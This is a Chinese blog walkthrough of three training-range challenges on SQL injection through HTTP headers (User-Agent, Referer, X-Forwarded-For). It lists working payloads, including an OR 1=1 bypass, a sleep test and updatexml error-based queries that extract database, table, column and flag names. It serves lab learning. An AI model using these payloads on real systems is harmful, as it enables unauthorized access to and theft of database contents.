返回顶部

Head注入(USERANGENT、Referer、X-forword-for)

 


作者:@Xuno
本文为作者原创,转载请注明出处:https://www.cnblogs.com/MaoheLaoXu/p/17175560.html


Head注入

靶场地址
原理:
head注入就是通过burp抓包,修改它的请求头useagent的数据来和数据库进行交互查询数据

第一题:

我们先查看url栏,没有get传参

再尝试post传参
在usename栏输入代码

' or 1=1 #

在这里插入图片描述发现usename不行查看源代码,可以通过password传参
在这里插入图片描述接着我们尝试头注入,查看源代码,发*现它使用了超全局变量$uagent = $_SERVER[‘HTTP_USER_AGENT’];并且它有个if语句必须要登陆才可以插入usergent语句,我们已经通过password找到了账号密码,并且登陆成功,所以直接用admin 和123456
在这里插入图片描述在这里插入图片描述利用谷歌插件,进行请求头修改

'or sleep(5),1)#

发现网页有明显的延迟,判断正确。
于是我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

获得数据库名:head_error
在这里插入图片描述再继续查表名,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述查出表名
flag_head
ip
refer
uagent
user

再查字段,把下面代码输入到谷歌插件中

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得出所有字段名:
id
flag_h1
于是直接用最后输入sql语句代码

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述所有flag为
zKaQ-YourHd,zKaQ-Refer,zKaQ-ip
验证为第一个

第一题完

第二题:

和第一题类似
首先找到登陆账号密码
在这里插入图片描述我们利用updatemlx()进行报错获取数据库名

'or updatexml(1,concat(0x7e,(select database())),1),1)#

然后直接用burp抓包修改refer,输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述查询数据为
在这里插入图片描述得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述得到所有flag
在这里插入图片描述第二题和第一题区别就是一个修改useragent 一个修改refer

第二题完

第三题:

查看源代码
在这里插入图片描述在这里插入图片描述它这里替换的是ip
所以我们直接修改ip进行传参即可,我们用谷歌插件,X-Forwarded-For进行传参

在这里插入图片描述输入代码

'or updatexml(1,concat(0x7e,(select database())),1),1) #

在这里插入图片描述得到数据库名
我们继续查表名:
输入代码

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#

在这里插入图片描述得到所有表名
接着查列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #

在这里插入图片描述得到列名中有flag
直接继续查数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述但是最后一个flag并不是zKaQ-ipi,可能是长度不够,重新输入代码

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1) #

在这里插入图片描述
验证即,正确

第三题完



如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
posted @   Xuno  阅读(29)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示